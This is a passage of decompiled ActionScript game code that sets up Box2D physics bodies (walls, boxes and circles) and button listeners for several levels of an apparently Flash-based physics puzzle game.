dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 1;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
dim44_def = new b2BodyDef();
dim44_sh = new b2PolygonDef();
dim44_def.position.Set((dim44_cl.x / 30), (dim44_cl.y / 30));
dim44_sh.SetAsBox(((dim44_cl.width / 2) / 30), ((dim44_cl.height / 2) / 30));
dim44_def.userData = dim44_cl;
dim44_sh.density = 10;
dim44_sh.friction = 1;
dim44_sh.restitution = 0.1;
dim44 = world.CreateBody(dim44_def);
dim44.CreateShape(dim44_sh);
dim44.SetMassFromShapes();
dim45_def = new b2BodyDef();
dim45_sh = new b2PolygonDef();
dim45_def.position.Set((dim45_cl.x / 30), (dim45_cl.y / 30));
dim45_sh.SetAsBox(((dim45_cl.width / 2) / 30), ((dim45_cl.height / 2) / 30));
dim45_def.userData = dim45_cl;
dim45_sh.density = 10;
dim45_sh.friction = 1;
dim45_sh.restitution = 0.1;
dim45 = world.CreateBody(dim45_def);
dim45.CreateShape(dim45_sh);
dim45.SetMassFromShapes();
dim46_def = new b2BodyDef();
dim46_sh = new b2PolygonDef();
dim46_def.position.Set((dim46_cl.x / 30), (dim46_cl.y / 30));
dim46_sh.SetAsBox(((dim46_cl.width / 2) / 30), ((dim46_cl.height / 2) / 30));
dim46_def.userData = dim46_cl;
dim46_sh.density = 10;
dim46_sh.friction = 1;
dim46_sh.restitution = 0.1;
dim46 = world.CreateBody(dim46_def);
dim46.CreateShape(dim46_sh);
dim46.SetMassFromShapes();
dim47_def = new b2BodyDef();
dim47_sh = new b2PolygonDef();
dim47_def.position.Set((dim47_cl.x / 30), (dim47_cl.y / 30));
dim47_sh.SetAsBox(((dim47_cl.width / 2) / 30), ((dim47_cl.height / 2) / 30));
dim47_def.userData = dim47_cl;
dim47_sh.density = 10;
dim47_sh.friction = 1;
dim47_sh.restitution = 0.1;
dim47 = world.CreateBody(dim47_def);
dim47.CreateShape(dim47_sh);
dim47.SetMassFromShapes();
dim48_def = new b2BodyDef();
dim48_sh = new b2PolygonDef();
dim48_def.position.Set((dim48_cl.x / 30), (dim48_cl.y / 30));
dim48_sh.SetAsBox(((dim48_cl.width / 2) / 30), ((dim48_cl.height / 2) / 30));
dim48_def.userData = dim48_cl;
dim48_sh.density = 10;
dim48_sh.friction = 1;
dim48_sh.restitution = 0.1;
dim48 = world.CreateBody(dim48_def);
dim48.CreateShape(dim48_sh);
dim48.SetMassFromShapes();
dim49_def = new b2BodyDef();
dim49_sh = new b2PolygonDef();
dim49_def.position.Set((dim49_cl.x / 30), (dim49_cl.y / 30));
dim49_sh.SetAsBox(((dim49_cl.width / 2) / 30), ((dim49_cl.height / 2) / 30));
dim49_def.userData = dim49_cl;
dim49_sh.density = 10;
dim49_sh.friction = 1;
dim49_sh.restitution = 0.1;
dim49 = world.CreateBody(dim49_def);
dim49.CreateShape(dim49_sh);
dim49.SetMassFromShapes();
dim50_def = new b2BodyDef();
dim50_sh = new b2PolygonDef();
dim50_def.position.Set((dim50_cl.x / 30), (dim50_cl.y / 30));
dim50_sh.SetAsBox(((dim50_cl.width / 2) / 30), ((dim50_cl.height / 2) / 30));
dim50_def.userData = dim50_cl;
dim50_sh.density = 10;
dim50_sh.friction = 1;
dim50_sh.restitution = 0.1;
dim50 = world.CreateBody(dim50_def);
dim50.CreateShape(dim50_sh);
dim50.SetMassFromShapes();
dim51_def = new b2BodyDef();
dim51_sh = new b2PolygonDef();
dim51_def.position.Set((dim51_cl.x / 30), (dim51_cl.y / 30));
dim51_sh.SetAsBox(((dim51_cl.width / 2) / 30), ((dim51_cl.height / 2) / 30));
dim51_def.userData = dim51_cl;
dim51_sh.density = 10;
dim51_sh.friction = 1;
dim51_sh.restitution = 0.1;
dim51 = world.CreateBody(dim51_def);
dim51.CreateShape(dim51_sh);
dim51.SetMassFromShapes();
dim52_def = new b2BodyDef();
dim52_sh = new b2PolygonDef();
dim52_def.position.Set((dim52_cl.x / 30), (dim52_cl.y / 30));
dim52_sh.SetAsBox(((dim52_cl.width / 2) / 30), ((dim52_cl.height / 2) / 30));
dim52_def.userData = dim52_cl;
dim52_sh.density = 10;
dim52_sh.friction = 1;
dim52_sh.restitution = 0.1;
dim52 = world.CreateBody(dim52_def);
dim52.CreateShape(dim52_sh);
dim52.SetMassFromShapes();
dim53_def = new b2BodyDef();
dim53_sh = new b2CircleDef();
dim53_def.position.Set((dim53_cl.x / 30), (dim53_cl.y / 30));
dim53_def.userData = dim53_cl;
dim53_sh.density = 10;
dim53_sh.friction = 1;
dim53_sh.restitution = 0.1;
dim53_sh.radius = ((dim53_cl.height / 2) / 30);
dim53 = world.CreateBody(dim53_def);
dim53.CreateShape(dim53_sh);
dim53.SetMassFromShapes();
dim54_def = new b2BodyDef();
dim54_sh = new b2CircleDef();
dim54_def.position.Set((dim54_cl.x / 30), (dim54_cl.y / 30));
dim54_def.userData = dim54_cl;
dim54_sh.density = 10;
dim54_sh.friction = 1;
dim54_sh.restitution = 0.1;
dim54_sh.radius = ((dim54_cl.height / 2) / 30);
dim54 = world.CreateBody(dim54_def);
dim54.CreateShape(dim54_sh);
dim54.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame31(){
cel = 4;
kol_cel = cel;
kol_hero = 10;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 70;
pos_hero_y = 388;
i = 1;
while (i <= 14) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 11;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
i = 1;
while (i <= 11) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame37(){
cel = 2;
kol_cel = cel;
kol_hero = 8;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 65;
pos_hero_y = 250;
i = 1;
while (i <= 34) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 17;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
